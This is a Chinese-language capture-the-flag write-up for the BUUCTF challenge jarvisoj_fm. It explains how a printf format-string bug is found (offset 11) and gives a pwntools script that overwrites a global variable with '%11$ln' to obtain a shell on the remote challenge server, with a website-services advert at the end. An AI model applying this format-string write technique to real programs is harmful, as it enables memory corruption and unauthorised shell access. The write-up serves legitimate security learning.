buuctf中的jarvisoj_fm
2026/6/11 12:32:02 网站建设 项目流程

首先checksec检查保护机制:

-32位程序

-开启了栈溢出保护和栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现没有后门函数,不过有printf函数,可触发格式化字符串漏洞,再看下面,只要让x的值等于4,即可拿到shell,那么方向就很明显了,使用格式化字符串漏洞实现任意地址写,将x的值改写为4

接下来先找到第一个参数的偏移,方便利用格式化字符串漏洞,在pwndbg中动态调试,先对程序输入一下代码:

AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

得到:

发现0x41414141这个参数在第11位,0x41414141以ASCII码转化为字符即为AAAA,也就是我们输入的AAAA在第11位处,即偏移为11

再在IDA中拿到x的地址:0x0804A02C

然后就是脚本的编写了:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',25207) # 与在线环境交互。 offset = 11 aim_addr = 0x0804A02C payload = p32(aim_addr) + b'%11$ln' io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后输入cat flag即可拿到flag

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询